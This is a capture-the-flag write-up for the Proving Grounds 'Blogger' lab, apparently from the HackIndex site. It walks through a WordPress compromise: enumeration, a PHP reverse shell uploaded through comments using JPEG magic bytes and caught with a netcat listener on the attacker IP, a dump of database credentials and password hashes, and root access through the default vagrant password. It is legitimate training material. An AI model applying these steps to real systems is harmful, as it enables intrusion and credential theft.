Skip to content
HackIndex logo

HackIndex

Blogger Writeup - Proving Grounds

Easy Linux
Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 3 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open  http    Apache httpd 2.4.18
|_http-title: Blogger | Home

SSH requires a key — no password auth. HTTP is the attack surface.

Web Enumeration

Initial gobuster against root only finds static asset directories. Add recursion to go deeper:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://$TARGET_IP/FUZZ \
-mc 200,204,301,302,307,401 -recursion -recursion-depth 10

Recursion into /assets/fonts/ uncovers a WordPress installation at:

http://$TARGET_IP/assets/fonts/blog/

The page source references blogger.pg as the domain. Add it to /etc/hosts:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP blogger.pg" | sudo tee -a /etc/hosts

WordPress Enumeration

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://blogger.pg/assets/fonts/blog/ -e ap,t,tt,u --random-user-agent 
WordPress version 4.9.8 (Insecure)
Upload directory has listing enabled
Theme: poseidon 2.1.1

Users identified:
  j@m3s
  jm3s

Directory listing on the uploads folder is immediately interesting. Browsing to it reveals a PHP reverse shell already present from a prior interaction:

http://blogger.pg/assets/fonts/blog/wp-content/uploads/2022/08/php-reverse-shell-1660047324.9416.php

This confirms the upload directory is web-accessible and previously exploited.

Initial Access

Magic Bytes Bypass — PHP Shell Upload via Comment

WordPress 4.9.8 allows unauthenticated file uploads through post comments. The upload filter rejects .php extensions and checks file type. Prepending JPEG magic bytes to a PHP shell bypasses the type check while preserving PHP execution:

┌──(kali㉿kali)-[~]
└─$ printf '\xFF\xD8\xFF\xEE' | cat - /path/to/php-reverse-shell.php > shell.php

Upload shell.php as a comment attachment on any post. WordPress accepts it and stores it in wp-content/uploads/. Start a listener, then browse to the uploaded file:

http://blogger.pg/assets/fonts/blog/wp-content/uploads/2026/02/shell-<timestamp>.php
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [192.168.222.217]
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data. Grab local.txt from /home/james/.

Post-Exploitation

wp-config.php — Database Credentials

┌──(kali㉿kali)-[~]
└─$ find / -name wp-config.php 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /var/www/wordpress/assets/fonts/blog/wp-config.php 
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', '$DB_PASSWORD');
define('DB_HOST', 'localhost');

Dump the WordPress users table:

┌──(kali㉿kali)-[~]
└─$ mysql -u root -p$DB_PASSWORD wordpress -e 'SELECT user_login,user_pass FROM wp_users;' 
j@m3s    $P$BqG2S/yf1TNEu03lHunJLawBEzKQZv/

The hash is PHPass (hashcat mode 400). Crack it with rockyou — the password resolves but is not needed for the privesc path that follows.

Privilege Escalation

Default Vagrant Credentials

┌──(kali㉿kali)-[~]
└─$ cat /etc/passwd | grep bash 
root:x:0:0:root:/root:/bin/bash
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
james:x:1002:1002:James M Brunner,,,:/home/james:/bin/bash

The vagrant user is present. Vagrant boxes ship with the default credential vagrant:vagrant. Upgrade to a PTY and switch users:

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty; pty.spawn("/bin/sh")'
┌──(kali㉿kali)-[~]
└─$ su vagrant

Password: vagrant

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User vagrant may run the following commands on ubuntu-xenial:
    (ALL) NOPASSWD: ALL

Full sudo without password:

┌──(kali㉿kali)-[~]
└─$ sudo cat /root/proof.txt

Root flag obtained.

References